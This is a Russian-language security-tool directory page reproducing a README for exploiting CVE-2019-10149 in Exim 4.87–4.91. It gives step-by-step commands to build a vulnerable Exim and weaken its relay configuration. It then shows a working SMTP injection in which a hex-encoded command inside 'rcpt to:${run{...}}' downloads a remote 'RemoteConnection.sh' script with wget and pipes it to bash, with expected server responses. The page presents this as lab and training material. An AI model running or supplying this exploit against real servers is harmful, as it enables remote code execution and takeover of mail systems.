Skip to content

Инструменты Блог

Отправить

Инструменты Блог

Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории

Loading categories

Инструменты/

GitHub/darsigovrustam/cve-2019-10149

Анализ уязвимостей Эксплуатация Тестирование на Проникновение Обучение и Образование Безопасность Электронной Почты Лаборатории и Практика

darsigovrustam/cve-2019-10149

CVE-2019-10149

Инструкции по установке уязвимой версии Exim и её эксплуатации

Репозиторий

5356 лет назад

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Поделиться

CVE-2019-10149 - Exim 4.87 < 4.91

Инструкции по установке уязвимой версии Exim и её эксплуатации Протестировано на Linux Ubuntu 16.04, Exim 4.89

Установка Exim

Загрузите и распакуйте exim версии 4.89

wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

Перейдите в извлеченную папку

cd exim-4.89/

Скопируйте и измените необходимые конфигурационные файлы

sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

Создайте пользователя и группу exim

sudo groupadd -g 31 exim
sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

Установите зависимости

sudo apt-get update
sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Установите exim 4.89

sudo make install

Отредактируйте /usr/exim/configure, чтобы разрешить ретрансляцию, чтобы мы могли эксплуатировать без ожидания 7 дней

sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

Запустите exim от пользователя exim

sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

Подготовка эксплойта

Преобразуйте свою команду shell в hex. Пример:

/bin/sh -c “wget https://raw.githubusercontent.com/darsigovrustam/CVE-2019-10149/master/RemoteConnection.sh" -O - | bash
\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

Таблица для примера:

\t-c\ = -c
\t= space
x20 = space
x7C = |
x2F = /
x3A = :
x2D = -
x3E = >
x26 = &
x22 = "
x2E = .

Использование эксплойта

Сначала используем nc для подключения к серверу.

nc 192.168.0.168 25

После подключения отправляем HELO.

helo localhost
(Ответ: 250 exim Hello localhost [192.168.0.168])

Затем устанавливаем пустой адрес отправителя.

mail from:<>
(Ответ: 250 OK)

Затем устанавливаем адрес получателя с полезной нагрузкой, которую мы подготовили ранее, вставив нужную команду вместо многоточия в rcpt to:${run{...}}@localhost.

rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
(Ответ: 250 Accepted)

И наконец, сначала вводим DATA, затем 31 строку, пустую строку и точку.

Скачать инструмент